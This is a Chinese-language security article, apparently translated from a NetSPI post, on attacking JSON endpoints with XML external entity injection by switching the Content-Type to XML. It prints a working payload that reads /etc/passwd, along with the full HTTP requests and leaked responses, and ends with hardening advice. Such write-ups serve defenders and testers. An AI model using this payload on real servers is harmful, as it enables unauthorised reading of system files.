大家都知道，许多WEB和移动应用都依赖于Client-Server的WEB通信交互服务。而在如SOAP、RESTful这样的WEB服务中，最常见的数据格式要数XML和JSON。当WEB服务使用XML或者JSON中的一种进行传输时，服务器可能会接收开发人员并未预料到的数据格式。如果服务器上的XML解析器的配置不完善，在JSON传输的终端可能会遭受XXE攻击，也就是俗称的XML外部实体攻击。

XXE是一种针对XML终端实施的攻击，黑客想要实施这种攻击，需要在XML的payload包含外部实体声明，且服务器本身允许实体扩展。这样的话，黑客或许能读取WEB服务器的文件系统，通过UNC路径访问远程文件系统，或者通过HTTP/HTTPS连接到任意主机。在下面的例子中，我们将一个外部实体指向了WEB服务器上的/etc/passwd，该实体就是包含在XML的payload里的。

1 2 3 4

<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]> [some xml content..] <element>&xxe;</element> [some xml content..]

以上就是一个简洁有效的攻击，我们来看看如何利用Content-Type头和HTTP请求的payload，是否也能黑掉JSON的终端。下面是一个JSON请求样本，它将Content-Type设置为application/json，其中精简了大部分内容。

1 2 3 4 5 6 7 8 9 10 11 12

HTTP Request: POST /netspi HTTP/1.1 Host: someserver.netspi.com Accept: application/json Content-Type: application/json Content-Length: 38 {"search":"name","value":"netspitest"} HTTP Response: HTTP/1.1 200 OK Content-Type: application/json Content-Length: 43 {"error": "no results for name netspitest"}

如果Content-Type头被修改为application/xml，客户端会告诉服务器post过去的数据是XML格式的。但如果你实际传过去的不是该格式的话，服务器不会进行解析，并且会报如下的错：

1 2 3 4 5 6 7 8 9 10 11 12

HTTP Request: POST /netspi HTTP/1.1 Host: someserver.netspi.com Accept: application/json Content-Type: application/xml Content-Length: 38 {"search":"name","value":"netspitest"} HTTP Request: HTTP/1.1 500 Internal Server Error Content-Type: application/json Content-Length: 127 {"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."}}

该错误提示指出，服务器能够处理XML格式和JSON格式的数据，但现在服务器收到的真实数据格式并不是在Content-Type里声明的XML格式，所以这里自然不能被解析啦。为了解决这个问题，JSON格式被强行转换为XML格式。如果你想做这样的转换，网上有不少在线工具，Eric Gruber曾写了一个Burpsuite插件（Content-Type Converter），可以自动在Burpsuite里转换格式。

1 2	Original JSON {"search":"name","value":"netspitest"}

1 2 3 4

XML Conversion <?xml version="1.0" encoding="UTF-8" ?> <search>name</search> <value>netspitest</value>

然而，这样直接转换过来的XML文档很明显是无效的，它并没有XML格式文件所必须的<root>元素。如果这个XML格式的文件被发送到服务器上，有可能服务器会为此响应一个错误消息，所有最好的做法是为该转换过的XML文档加一个<root>元素。

1 2 3 4 5

<?xml version="1.0" encoding="UTF-8" ?> <root> <search>name</search> <value>netspitest</value> </root>

现在原始的JSON请求可以被转换为XML发送给服务器，然后获得一个有效响应。

1 2 3 4 5 6

HTTP Request: POST /netspi HTTP/1.1 Host: someserver.netspi.com Accept: application/json Content-Type: application/xml Content-Length: 112

1 2 3 4 5

<?xml version="1.0" encoding="UTF-8" ?> <root> <search>name</search> <value>netspitest</value> </root>

1 2 3 4 5

HTTP Response: HTTP/1.1 200 OK Content-Type: application/json Content-Length: 43 {"error": "no results for name netspitest"}

因为在这里服务器是可以接收XML的数据的，黑客能由此对JSON终端实施XXE攻击。

1 2 3 4 5 6

HTTP Request: POST /netspi HTTP/1.1 Host: someserver.netspi.com Accept: application/json Content-Type: application/xml Content-Length: 288

1 2 3 4 5 6

<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <root> <search>name</search> <value>&xxe;</value> </root>

黑客在这里就可以读到/etc/passwd的文件内容：

1 2 3 4 5 6 7 8 9

HTTP Response: HTTP/1.1 200 OK Content-Type: application/json Content-Length: 2467 {"error": "no results for name root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync....

显然，不是每一个JSON终端都会接收XML格式，改变Content-Type并没有太大用处，有可能你只会得到一个415的数据类型不支持错误。但是，JSON转换为XML的攻击不会只限制于通过post传输带有JSON内容的payload，我就曾经看见以GET形式传输相应参数的案例。如果JSON的参数被转换为XML，服务器会自己判断content type的真实类型。

通过以上的实验我们可以得出结论，如果你想要加固JSON终端，XML解析必须被禁用，或者你必须禁用内联DOCTYPE声明，以此防御XML外部实体注入攻击。